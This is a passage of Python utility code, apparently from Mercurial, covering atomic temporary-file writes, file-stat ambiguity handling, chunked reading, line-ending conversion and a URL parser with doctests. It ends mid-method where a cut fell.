1922 1922 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1923 1923 os.close(fd)
1924 1924 # Temporary files are created with mode 0600, which is usually not
1925 1925 # what we want. If the original file already exists, just copy
1926 1926 # its mode. Otherwise, manually obey umask.
1927 1927 copymode(name, temp, createmode)
1928 1928 if emptyok:
1929 1929 return temp
1930 1930 try:
1931 1931 try:
1932 1932 ifp = posixfile(name, "rb")
1933 1933 except IOError as inst:
1934 1934 if inst.errno == errno.ENOENT:
1935 1935 return temp
1936 1936 if not getattr(inst, 'filename', None):
1937 1937 inst.filename = name
1938 1938 raise
1939 1939 ofp = posixfile(temp, "wb")
1940 1940 for chunk in filechunkiter(ifp):
1941 1941 ofp.write(chunk)
1942 1942 ifp.close()
1943 1943 ofp.close()
1944 1944 except: # re-raises
1945 1945 try:
1946 1946 os.unlink(temp)
1947 1947 except OSError:
1948 1948 pass
1949 1949 raise
1950 1950 return temp
1951 1951
1952 1952 class filestat(object):
1953 1953 """help to exactly detect change of a file
1954 1954
1955 1955 'stat' attribute is result of 'os.stat()' if specified 'path'
1956 1956 exists. Otherwise, it is None. This can avoid preparative
1957 1957 'exists()' examination on client side of this class.
1958 1958 """
1959 1959 def __init__(self, stat):
1960 1960 self.stat = stat
1961 1961
1962 1962 @classmethod
1963 1963 def frompath(cls, path):
1964 1964 try:
1965 1965 stat = os.stat(path)
1966 1966 except OSError as err:
1967 1967 if err.errno != errno.ENOENT:
1968 1968 raise
1969 1969 stat = None
1970 1970 return cls(stat)
1971 1971
1972 1972 @classmethod
1973 1973 def fromfp(cls, fp):
1974 1974 stat = os.fstat(fp.fileno())
1975 1975 return cls(stat)
1976 1976
1977 1977 __hash__ = object.__hash__
1978 1978
1979 1979 def __eq__(self, old):
1980 1980 try:
1981 1981 # if ambiguity between stat of new and old file is
1982 1982 # avoided, comparison of size, ctime and mtime is enough
1983 1983 # to exactly detect change of a file regardless of platform
1984 1984 return (self.stat.st_size == old.stat.st_size and
1985 1985 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1986 1986 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1987 1987 except AttributeError:
1988 1988 pass
1989 1989 try:
1990 1990 return self.stat is None and old.stat is None
1991 1991 except AttributeError:
1992 1992 return False
1993 1993
1994 1994 def isambig(self, old):
1995 1995 """Examine whether new (= self) stat is ambiguous against old one
1996 1996
1997 1997 "S[N]" below means stat of a file at N-th change:
1998 1998
1999 1999 - S[n-1].ctime < S[n].ctime: can detect change of a file
2000 2000 - S[n-1].ctime == S[n].ctime
2001 2001 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2002 2002 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2003 2003 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2004 2004 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2005 2005
2006 2006 Case (*2) above means that a file was changed twice or more at
2007 2007 same time in sec (= S[n-1].ctime), and comparison of timestamp
2008 2008 is ambiguous.
2009 2009
2010 2010 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2011 2011 timestamp is ambiguous".
2012 2012
2013 2013 But advancing mtime only in case (*2) doesn't work as
2014 2014 expected, because naturally advanced S[n].mtime in case (*1)
2015 2015 might be equal to manually advanced S[n-1 or earlier].mtime.
2016 2016
2017 2017 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2018 2018 treated as ambiguous regardless of mtime, to avoid overlooking
2019 2019 by confliction between such mtime.
2020 2020
2021 2021 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2022 2022 S[n].mtime", even if size of a file isn't changed.
2023 2023 """
2024 2024 try:
2025 2025 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2026 2026 except AttributeError:
2027 2027 return False
2028 2028
2029 2029 def avoidambig(self, path, old):
2030 2030 """Change file stat of specified path to avoid ambiguity
2031 2031
2032 2032 'old' should be previous filestat of 'path'.
2033 2033
2034 2034 This skips avoiding ambiguity, if a process doesn't have
2035 2035 appropriate privileges for 'path'. This returns False in this
2036 2036 case.
2037 2037
2038 2038 Otherwise, this returns True, as "ambiguity is avoided".
2039 2039 """
2040 2040 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2041 2041 try:
2042 2042 os.utime(path, (advanced, advanced))
2043 2043 except OSError as inst:
2044 2044 if inst.errno == errno.EPERM:
2045 2045 # utime() on the file created by another user causes EPERM,
2046 2046 # if a process doesn't have appropriate privileges
2047 2047 return False
2048 2048 raise
2049 2049 return True
2050 2050
2051 2051 def __ne__(self, other):
2052 2052 return not self == other
2053 2053
2054 2054 class atomictempfile(object):
2055 2055 '''writable file object that atomically updates a file
2056 2056
2057 2057 All writes will go to a temporary copy of the original file. Call
2058 2058 close() when you are done writing, and atomictempfile will rename
2059 2059 the temporary copy to the original name, making the changes
2060 2060 visible. If the object is destroyed without being closed, all your
2061 2061 writes are discarded.
2062 2062
2063 2063 checkambig argument of constructor is used with filestat, and is
2064 2064 useful only if target file is guarded by any lock (e.g. repo.lock
2065 2065 or repo.wlock).
2066 2066 '''
2067 2067 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2068 2068 self.__name = name # permanent name
2069 2069 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2070 2070 createmode=createmode)
2071 2071 self._fp = posixfile(self._tempname, mode)
2072 2072 self._checkambig = checkambig
2073 2073
2074 2074 # delegated methods
2075 2075 self.read = self._fp.read
2076 2076 self.write = self._fp.write
2077 2077 self.seek = self._fp.seek
2078 2078 self.tell = self._fp.tell
2079 2079 self.fileno = self._fp.fileno
2080 2080
2081 2081 def close(self):
2082 2082 if not self._fp.closed:
2083 2083 self._fp.close()
2084 2084 filename = localpath(self.__name)
2085 2085 oldstat = self._checkambig and filestat.frompath(filename)
2086 2086 if oldstat and oldstat.stat:
2087 2087 rename(self._tempname, filename)
2088 2088 newstat = filestat.frompath(filename)
2089 2089 if newstat.isambig(oldstat):
2090 2090 # stat of changed file is ambiguous to original one
2091 2091 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2092 2092 os.utime(filename, (advanced, advanced))
2093 2093 else:
2094 2094 rename(self._tempname, filename)
2095 2095
2096 2096 def discard(self):
2097 2097 if not self._fp.closed:
2098 2098 try:
2099 2099 os.unlink(self._tempname)
2100 2100 except OSError:
2101 2101 pass
2102 2102 self._fp.close()
2103 2103
2104 2104 def __del__(self):
2105 2105 if safehasattr(self, '_fp'): # constructor actually did something
2106 2106 self.discard()
2107 2107
2108 2108 def __enter__(self):
2109 2109 return self
2110 2110
2111 2111 def __exit__(self, exctype, excvalue, traceback):
2112 2112 if exctype is not None:
2113 2113 self.discard()
2114 2114 else:
2115 2115 self.close()
2116 2116
2117 2117 def unlinkpath(f, ignoremissing=False, rmdir=True):
2118 2118 """unlink and remove the directory if it is empty"""
2119 2119 if ignoremissing:
2120 2120 tryunlink(f)
2121 2121 else:
2122 2122 unlink(f)
2123 2123 if rmdir:
2124 2124 # try removing directories that might now be empty
2125 2125 try:
2126 2126 removedirs(os.path.dirname(f))
2127 2127 except OSError:
2128 2128 pass
2129 2129
2130 2130 def tryunlink(f):
2131 2131 """Attempt to remove a file, ignoring ENOENT errors."""
2132 2132 try:
2133 2133 unlink(f)
2134 2134 except OSError as e:
2135 2135 if e.errno != errno.ENOENT:
2136 2136 raise
2137 2137
2138 2138 def makedirs(name, mode=None, notindexed=False):
2139 2139 """recursive directory creation with parent mode inheritance
2140 2140
2141 2141 Newly created directories are marked as "not to be indexed by
2142 2142 the content indexing service", if ``notindexed`` is specified
2143 2143 for "write" mode access.
2144 2144 """
2145 2145 try:
2146 2146 makedir(name, notindexed)
2147 2147 except OSError as err:
2148 2148 if err.errno == errno.EEXIST:
2149 2149 return
2150 2150 if err.errno != errno.ENOENT or not name:
2151 2151 raise
2152 2152 parent = os.path.dirname(os.path.abspath(name))
2153 2153 if parent == name:
2154 2154 raise
2155 2155 makedirs(parent, mode, notindexed)
2156 2156 try:
2157 2157 makedir(name, notindexed)
2158 2158 except OSError as err:
2159 2159 # Catch EEXIST to handle races
2160 2160 if err.errno == errno.EEXIST:
2161 2161 return
2162 2162 raise
2163 2163 if mode is not None:
2164 2164 os.chmod(name, mode)
2165 2165
2166 2166 def readfile(path):
2167 2167 with open(path, 'rb') as fp:
2168 2168 return fp.read()
2169 2169
2170 2170 def writefile(path, text):
2171 2171 with open(path, 'wb') as fp:
2172 2172 fp.write(text)
2173 2173
2174 2174 def appendfile(path, text):
2175 2175 with open(path, 'ab') as fp:
2176 2176 fp.write(text)
2177 2177
2178 2178 class chunkbuffer(object):
2179 2179 """Allow arbitrary sized chunks of data to be efficiently read from an
2180 2180 iterator over chunks of arbitrary size."""
2181 2181
2182 2182 def __init__(self, in_iter):
2183 2183 """in_iter is the iterator that's iterating over the input chunks."""
2184 2184 def splitbig(chunks):
2185 2185 for chunk in chunks:
2186 2186 if len(chunk) > 2**20:
2187 2187 pos = 0
2188 2188 while pos < len(chunk):
2189 2189 end = pos + 2 ** 18
2190 2190 yield chunk[pos:end]
2191 2191 pos = end
2192 2192 else:
2193 2193 yield chunk
2194 2194 self.iter = splitbig(in_iter)
2195 2195 self._queue = collections.deque()
2196 2196 self._chunkoffset = 0
2197 2197
2198 2198 def read(self, l=None):
2199 2199 """Read L bytes of data from the iterator of chunks of data.
2200 2200 Returns less than L bytes if the iterator runs dry.
2201 2201
2202 2202 If size parameter is omitted, read everything"""
2203 2203 if l is None:
2204 2204 return ''.join(self.iter)
2205 2205
2206 2206 left = l
2207 2207 buf = []
2208 2208 queue = self._queue
2209 2209 while left > 0:
2210 2210 # refill the queue
2211 2211 if not queue:
2212 2212 target = 2**18
2213 2213 for chunk in self.iter:
2214 2214 queue.append(chunk)
2215 2215 target -= len(chunk)
2216 2216 if target <= 0:
2217 2217 break
2218 2218 if not queue:
2219 2219 break
2220 2220
2221 2221 # The easy way to do this would be to queue.popleft(), modify the
2222 2222 # chunk (if necessary), then queue.appendleft(). However, for cases
2223 2223 # where we read partial chunk content, this incurs 2 dequeue
2224 2224 # mutations and creates a new str for the remaining chunk in the
2225 2225 # queue. Our code below avoids this overhead.
2226 2226
2227 2227 chunk = queue[0]
2228 2228 chunkl = len(chunk)
2229 2229 offset = self._chunkoffset
2230 2230
2231 2231 # Use full chunk.
2232 2232 if offset == 0 and left >= chunkl:
2233 2233 left -= chunkl
2234 2234 queue.popleft()
2235 2235 buf.append(chunk)
2236 2236 # self._chunkoffset remains at 0.
2237 2237 continue
2238 2238
2239 2239 chunkremaining = chunkl - offset
2240 2240
2241 2241 # Use all of unconsumed part of chunk.
2242 2242 if left >= chunkremaining:
2243 2243 left -= chunkremaining
2244 2244 queue.popleft()
2245 2245 # offset == 0 is enabled by block above, so this won't merely
2246 2246 # copy via ``chunk[0:]``.
2247 2247 buf.append(chunk[offset:])
2248 2248 self._chunkoffset = 0
2249 2249
2250 2250 # Partial chunk needed.
2251 2251 else:
2252 2252 buf.append(chunk[offset:offset + left])
2253 2253 self._chunkoffset += left
2254 2254 left -= chunkremaining
2255 2255
2256 2256 return ''.join(buf)
2257 2257
2258 2258 def filechunkiter(f, size=131072, limit=None):
2259 2259 """Create a generator that produces the data in the file size
2260 2260 (default 131072) bytes at a time, up to optional limit (default is
2261 2261 to read all data). Chunks may be less than size bytes if the
2262 2262 chunk is the last chunk in the file, or the file is a socket or
2263 2263 some other type of file that sometimes reads less data than is
2264 2264 requested."""
2265 2265 assert size >= 0
2266 2266 assert limit is None or limit >= 0
2267 2267 while True:
2268 2268 if limit is None:
2269 2269 nbytes = size
2270 2270 else:
2271 2271 nbytes = min(limit, size)
2272 2272 s = nbytes and f.read(nbytes)
2273 2273 if not s:
2274 2274 break
2275 2275 if limit:
2276 2276 limit -= len(s)
2277 2277 yield s
2278 2278
2279 2279 class cappedreader(object):
2280 2280 """A file object proxy that allows reading up to N bytes.
2281 2281
2282 2282 Given a source file object, instances of this type allow reading up to
2283 2283 N bytes from that source file object. Attempts to read past the allowed
2284 2284 limit are treated as EOF.
2285 2285
2286 2286 It is assumed that I/O is not performed on the original file object
2287 2287 in addition to I/O that is performed by this instance. If there is,
2288 2288 state tracking will get out of sync and unexpected results will ensue.
2289 2289 """
2290 2290 def __init__(self, fh, limit):
2291 2291 """Allow reading up to <limit> bytes from <fh>."""
2292 2292 self._fh = fh
2293 2293 self._left = limit
2294 2294
2295 2295 def read(self, n=-1):
2296 2296 if not self._left:
2297 2297 return b''
2298 2298
2299 2299 if n < 0:
2300 2300 n = self._left
2301 2301
2302 2302 data = self._fh.read(min(n, self._left))
2303 2303 self._left -= len(data)
2304 2304 assert self._left >= 0
2305 2305
2306 2306 return data
2307 2307
2308 2308 def readinto(self, b):
2309 2309 res = self.read(len(b))
2310 2310 if res is None:
2311 2311 return None
2312 2312
2313 2313 b[0:len(res)] = res
2314 2314 return len(res)
2315 2315
2316 2316 def unitcountfn(*unittable):
2317 2317 '''return a function that renders a readable count of some quantity'''
2318 2318
2319 2319 def go(count):
2320 2320 for multiplier, divisor, format in unittable:
2321 2321 if abs(count) >= divisor * multiplier:
2322 2322 return format % (count / float(divisor))
2323 2323 return unittable[-1][2] % count
2324 2324
2325 2325 return go
2326 2326
2327 2327 def processlinerange(fromline, toline):
2328 2328 """Check that linerange <fromline>:<toline> makes sense and return a
2329 2329 0-based range.
2330 2330
2331 2331 >>> processlinerange(10, 20)
2332 2332 (9, 20)
2333 2333 >>> processlinerange(2, 1)
2334 2334 Traceback (most recent call last):
2335 2335 ...
2336 2336 ParseError: line range must be positive
2337 2337 >>> processlinerange(0, 5)
2338 2338 Traceback (most recent call last):
2339 2339 ...
2340 2340 ParseError: fromline must be strictly positive
2341 2341 """
2342 2342 if toline - fromline < 0:
2343 2343 raise error.ParseError(_("line range must be positive"))
2344 2344 if fromline < 1:
2345 2345 raise error.ParseError(_("fromline must be strictly positive"))
2346 2346 return fromline - 1, toline
2347 2347
2348 2348 bytecount = unitcountfn(
2349 2349 (100, 1 << 30, _('%.0f GB')),
2350 2350 (10, 1 << 30, _('%.1f GB')),
2351 2351 (1, 1 << 30, _('%.2f GB')),
2352 2352 (100, 1 << 20, _('%.0f MB')),
2353 2353 (10, 1 << 20, _('%.1f MB')),
2354 2354 (1, 1 << 20, _('%.2f MB')),
2355 2355 (100, 1 << 10, _('%.0f KB')),
2356 2356 (10, 1 << 10, _('%.1f KB')),
2357 2357 (1, 1 << 10, _('%.2f KB')),
2358 2358 (1, 1, _('%.0f bytes')),
2359 2359 )
2360 2360
2361 2361 class transformingwriter(object):
2362 2362 """Writable file wrapper to transform data by function"""
2363 2363
2364 2364 def __init__(self, fp, encode):
2365 2365 self._fp = fp
2366 2366 self._encode = encode
2367 2367
2368 2368 def close(self):
2369 2369 self._fp.close()
2370 2370
2371 2371 def flush(self):
2372 2372 self._fp.flush()
2373 2373
2374 2374 def write(self, data):
2375 2375 return self._fp.write(self._encode(data))
2376 2376
2377 2377 # Matches a single EOL which can either be a CRLF where repeated CR
2378 2378 # are removed or a LF. We do not care about old Macintosh files, so a
2379 2379 # stray CR is an error.
2380 2380 _eolre = remod.compile(br'\r*\n')
2381 2381
2382 2382 def tolf(s):
2383 2383 return _eolre.sub('\n', s)
2384 2384
2385 2385 def tocrlf(s):
2386 2386 return _eolre.sub('\r\n', s)
2387 2387
2388 2388 def _crlfwriter(fp):
2389 2389 return transformingwriter(fp, tocrlf)
2390 2390
2391 2391 if pycompat.oslinesep == '\r\n':
2392 2392 tonativeeol = tocrlf
2393 2393 fromnativeeol = tolf
2394 2394 nativeeolwriter = _crlfwriter
2395 2395 else:
2396 2396 tonativeeol = pycompat.identity
2397 2397 fromnativeeol = pycompat.identity
2398 2398 nativeeolwriter = pycompat.identity
2399 2399
2400 2400 if (pyplatform.python_implementation() == 'CPython' and
2401 2401 sys.version_info < (3, 0)):
2402 2402 # There is an issue in CPython that some IO methods do not handle EINTR
2403 2403 # correctly. The following table shows what CPython version (and functions)
2404 2404 # are affected (buggy: has the EINTR bug, okay: otherwise):
2405 2405 #
2406 2406 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2407 2407 # --------------------------------------------------
2408 2408 # fp.__iter__ | buggy | buggy | okay
2409 2409 # fp.read* | buggy | okay [1] | okay
2410 2410 #
2411 2411 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2412 2412 #
2413 2413 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2414 2414 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2415 2415 #
2416 2416 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2417 2417 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2418 2418 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2419 2419 # fp.__iter__ but not other fp.read* methods.
2420 2420 #
2421 2421 # On modern systems like Linux, the "read" syscall cannot be interrupted
2422 2422 # when reading "fast" files like on-disk files. So the EINTR issue only
2423 2423 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2424 2424 # files approximately as "fast" files and use the fast (unsafe) code path,
2425 2425 # to minimize the performance impact.
2426 2426 if sys.version_info >= (2, 7, 4):
2427 2427 # fp.readline deals with EINTR correctly, use it as a workaround.
2428 2428 def _safeiterfile(fp):
2429 2429 return iter(fp.readline, '')
2430 2430 else:
2431 2431 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2432 2432 # note: this may block longer than necessary because of bufsize.
2433 2433 def _safeiterfile(fp, bufsize=4096):
2434 2434 fd = fp.fileno()
2435 2435 line = ''
2436 2436 while True:
2437 2437 try:
2438 2438 buf = os.read(fd, bufsize)
2439 2439 except OSError as ex:
2440 2440 # os.read only raises EINTR before any data is read
2441 2441 if ex.errno == errno.EINTR:
2442 2442 continue
2443 2443 else:
2444 2444 raise
2445 2445 line += buf
2446 2446 if '\n' in buf:
2447 2447 splitted = line.splitlines(True)
2448 2448 line = ''
2449 2449 for l in splitted:
2450 2450 if l[-1] == '\n':
2451 2451 yield l
2452 2452 else:
2453 2453 line = l
2454 2454 if not buf:
2455 2455 break
2456 2456 if line:
2457 2457 yield line
2458 2458
2459 2459 def iterfile(fp):
2460 2460 fastpath = True
2461 2461 if type(fp) is file:
2462 2462 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2463 2463 if fastpath:
2464 2464 return fp
2465 2465 else:
2466 2466 return _safeiterfile(fp)
2467 2467 else:
2468 2468 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2469 2469 def iterfile(fp):
2470 2470 return fp
2471 2471
2472 2472 def iterlines(iterator):
2473 2473 for chunk in iterator:
2474 2474 for line in chunk.splitlines():
2475 2475 yield line
2476 2476
2477 2477 def expandpath(path):
2478 2478 return os.path.expanduser(os.path.expandvars(path))
2479 2479
2480 2480 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2481 2481 """Return the result of interpolating items in the mapping into string s.
2482 2482
2483 2483 prefix is a single character string, or a two character string with
2484 2484 a backslash as the first character if the prefix needs to be escaped in
2485 2485 a regular expression.
2486 2486
2487 2487 fn is an optional function that will be applied to the replacement text
2488 2488 just before replacement.
2489 2489
2490 2490 escape_prefix is an optional flag that allows using doubled prefix for
2491 2491 its escaping.
2492 2492 """
2493 2493 fn = fn or (lambda s: s)
2494 2494 patterns = '|'.join(mapping.keys())
2495 2495 if escape_prefix:
2496 2496 patterns += '|' + prefix
2497 2497 if len(prefix) > 1:
2498 2498 prefix_char = prefix[1:]
2499 2499 else:
2500 2500 prefix_char = prefix
2501 2501 mapping[prefix_char] = prefix_char
2502 2502 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2503 2503 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2504 2504
2505 2505 def getport(port):
2506 2506 """Return the port for a given network service.
2507 2507
2508 2508 If port is an integer, it's returned as is. If it's a string, it's
2509 2509 looked up using socket.getservbyname(). If there's no matching
2510 2510 service, error.Abort is raised.
2511 2511 """
2512 2512 try:
2513 2513 return int(port)
2514 2514 except ValueError:
2515 2515 pass
2516 2516
2517 2517 try:
2518 2518 return socket.getservbyname(pycompat.sysstr(port))
2519 2519 except socket.error:
2520 2520 raise error.Abort(_("no port number associated with service '%s'")
2521 2521 % port)
2522 2522
2523 2523 class url(object):
2524 2524 r"""Reliable URL parser.
2525 2525
2526 2526 This parses URLs and provides attributes for the following
2527 2527 components:
2528 2528
2529 2529 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2530 2530
2531 2531 Missing components are set to None. The only exception is
2532 2532 fragment, which is set to '' if present but empty.
2533 2533
2534 2534 If parsefragment is False, fragment is included in query. If
2535 2535 parsequery is False, query is included in path. If both are
2536 2536 False, both fragment and query are included in path.
2537 2537
2538 2538 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2539 2539
2540 2540 Note that for backward compatibility reasons, bundle URLs do not
2541 2541 take host names. That means 'bundle://../' has a path of '../'.
2542 2542
2543 2543 Examples:
2544 2544
2545 2545 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2546 2546 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2547 2547 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2548 2548 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2549 2549 >>> url(b'file:///home/joe/repo')
2550 2550 <url scheme: 'file', path: '/home/joe/repo'>
2551 2551 >>> url(b'file:///c:/temp/foo/')
2552 2552 <url scheme: 'file', path: 'c:/temp/foo/'>
2553 2553 >>> url(b'bundle:foo')
2554 2554 <url scheme: 'bundle', path: 'foo'>
2555 2555 >>> url(b'bundle://../foo')
2556 2556 <url scheme: 'bundle', path: '../foo'>
2557 2557 >>> url(br'c:\foo\bar')
2558 2558 <url path: 'c:\\foo\\bar'>
2559 2559 >>> url(br'\\blah\blah\blah')
2560 2560 <url path: '\\\\blah\\blah\\blah'>
2561 2561 >>> url(br'\\blah\blah\blah#baz')
2562 2562 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2563 2563 >>> url(br'file:///C:\users\me')
2564 2564 <url scheme: 'file', path: 'C:\\users\\me'>
2565 2565
2566 2566 Authentication credentials:
2567 2567
2568 2568 >>> url(b'ssh://joe:xyz@x/repo')
2569 2569 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2570 2570 >>> url(b'ssh://joe@x/repo')
2571 2571 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2572 2572
2573 2573 Query strings and fragments:
2574 2574
2575 2575 >>> url(b'http://host/a?b#c')
2576 2576 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2577 2577 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2578 2578 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2579 2579
2580 2580 Empty path:
2581 2581
2582 2582 >>> url(b'')
2583 2583 <url path: ''>
2584 2584 >>> url(b'#a')
2585 2585 <url path: '', fragment: 'a'>
2586 2586 >>> url(b'http://host/')
2587 2587 <url scheme: 'http', host: 'host', path: ''>
2588 2588 >>> url(b'http://host/#a')
2589 2589 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2590 2590
2591 2591 Only scheme:
2592 2592
2593 2593 >>> url(b'http:')
2594 2594 <url scheme: 'http'>
2595 2595 """
2596 2596
2597 2597 _safechars = "!~*'()+"
2598 2598 _safepchars = "/!~*'()+:\\"
2599 2599 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2600 2600
2601 2601 def __init__(self, path, parsequery=True, parsefragment=True):
2602 2602 # We slowly chomp away at path until we have only the path left
2603 2603 self.scheme = self.user = self.passwd = self.host = None
2604 2604 self.port = self.path = self.query = self.fragment = None
2605 2605 self._localpath = True
2606 2606 self._hostport = ''
2607 2607 self._origpath = path
2608 2608
2609 2609 if parsefragment and '#' in path:
2610 2610 path, self.fragment = path.split('#', 1)
2611 2611
2612 2612 # special case for Windows drive letters and UNC paths
2613 2613 if hasdriveletter(path) or path.startswith('\\\\'):
2614 2614 self.path = path
2615 2615 return
2616 2616
2617 2617 # For compatibility reasons, we can't handle bundle paths as
2618 2618 # normal URLS
2619 2619 if path.startswith('bundle:'):
2620 2620 self.scheme = 'bundle'
2621 2621 path = path[7:]
2622 2622 if path.startswith('//'):
2623 2623 path = path[2:]
2624 2624 self.path = path
2625 2625 return
2626 2626
2627 2627 if self._matchscheme(path):
2628 2628 parts = path.split(':', 1)
2629 2629 if parts[0]:
2630 2630 self.scheme, path = parts
2631 2631 self._localpath = False
2632 2632
2633 2633 if not path:
2634 2634 path = None
2635 2635 if self._localpath:
2636 2636 self.path = ''
2637 2637 return
2638 2638 else:
2639 2639 if self._localpath:
2640 2640 self.path = path
2641 2641 return
2642 2642
2643 2643 if parsequery and '?' in path:
2644 2644 path, self.query = path.split('?', 1)
2645 2645 if not path:
2646 2646 path = None
2647 2647 if not self.query:
2648 2648 self.query = None
2649 2649
2650 2650 # // is required to specify a host/authority
2651 2651 if path and path.startswith('//'):
2652 2652 parts = path[2:].split('/', 1)
2653 2653 if len(parts) > 1:
2654 2654 self.host, path = parts
2655 2655 else:
2656 2656 self.host = parts[0]
2657 2657 path = None
2658 2658 if not self.host:
2659 2659 self.host = None
2660 2660 # path of file:///d is /d
2661 2661 # path of file:///d:/ is d:/, not /d:/
2662 2662 if path and not hasdriveletter(path):
2663 2663 path = '/' + path
2664 2664
2665 2665 if self.host and '@' in self.host:
2666 2666 self.user, self.host = self.host.rsplit('@', 1)
2667 2667 if ':' in self.user:
2668 2668 self.user, self.passwd = self.user.split(':', 1)
2669 2669 if not self.host:
2670 2670 self.host = None
2671 2671
2672 2672 # Don't split on colons in IPv6 addresses without ports
2673 2673 if (self.host and ':' in self.host and
2674 2674 not (self.host.startswith('[') and self.host.endswith(']'))):
2675 2675 self._hostport = self.host
2676 2676 self.host, self.port = self.host.rsplit(':', 1)
2677 2677 if not self.host:
2678 2678 self.host = None
2679 2679
2680 2680 if (self.host and self.scheme == 'file' and
2681 2681 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2682 2682 raise error.Abort(_('file:// URLs can only refer to localhost'))
2683 2683
2684 2684 self.path = path
2685 2685
2686 2686 # leave the query string escaped
2687 2687 for a in ('user', 'passwd', 'host', 'port',
2688 2688 'path', 'fragment'):
2689 2689 v = getattr(self, a)
2690 2690 if v is not None:
2691 2691 setattr(self, a, urlreq.unquote(v))
2692 2692
2693 2693 @encoding.strmethod
2694 2694 def __repr__(self):
2695 2695 attrs = []
2696 2696 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2697 2697 'query', 'fragment'):
2698 2698 v = getattr(self, a)
2699 2699 if v is not None:
2700 2700 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2701 2701 return '<url %s>' % ', '.join(attrs)
2702 2702
2703 2703 def __bytes__(self):
2704 2704 r"""Join the URL's components back into a URL string.
2705 2705
2706 2706 Examples:
2707 2707
2708 2708 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2709 2709 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2710 2710 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2711 2711 'http://user:pw@host:80/?foo=bar&baz=42'
2712 2712 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2713 2713 'http://user:pw@host:80/?foo=bar%3dbaz'
2714 2714 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2715 2715 'ssh://user:pw@[::1]:2200//home/joe#'
2716 2716 >>> bytes(url(b'http://localhost:80//'))
2717 2717 'http://localhost:80//'
2718 2718 >>> bytes(url(b'http://localhost:80/'))
2719 2719 'http://localhost:80/'
2720 2720 >>> bytes(url(b'http://localhost:80'))
2721 2721 'http://localhost:80/'
2722 2722 >>> bytes(url(b'bundle:foo'))
2723 2723 'bundle:foo'
2724 2724 >>> bytes(url(b'bundle://../foo'))
2725 2725 'bundle:../foo'
2726 2726 >>> bytes(url(b'path'))
2727 2727 'path'
2728 2728 >>> bytes(url(b'file:///tmp/foo/bar'))
2729 2729 'file:///tmp/foo/bar'
2730 2730 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2731 2731 'file:///c:/tmp/foo/bar'
2732 2732 >>> print(url(br'bundle:foo\bar'))
2733 2733 bundle:foo\bar
2734 2734 >>> print(url(br'file:///D:\data\hg'))
2735 2735 file:///D:\data\hg
2736 2736 """
2737 2737 if self._localpath:
2738 2738 s = self.path
2739 2739 if self.scheme == 'bundle':
2740 2740 s = 'bundle:' + s
2741 2741 if self.fragment:
2742 2742 s += '#' + self.fragment
2743 2743 return s
2744 2744
2745 2745 s = self.scheme + ':'
2746 2746 if self.user or self.passwd or self.host:
2747 2747 s += '//'
2748 2748 elif self.scheme and (not self.path or self.path.startswith('/')
2749 2749 or hasdriveletter(self.path)):
2750 2750 s += '//'
2751 2751 if hasdriveletter(self.path):
2752 2752 s += '/'
2753 2753 if self.user:
2754 2754 s += urlreq.quote(self.user, safe=self._safechars)
2755 2755 if self.passwd:
2756 2756 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2757 2757 if self.user or self.passwd:
2758 2758 s += '@'
2759 2759 if self.host:
2760 2760 if not (self.host.startswith('[') and self.host.endswith(']')):
2761 2761 s += urlreq.quote(self.host)
2762 2762 else:
2763 2763 s += self.host
2764 2764 if self.port:
2765 2765 s += ':' + urlreq.quote(self.port)
2766 2766 if self.host:
2767 2767 s += '/'
2768 2768 if self.path:
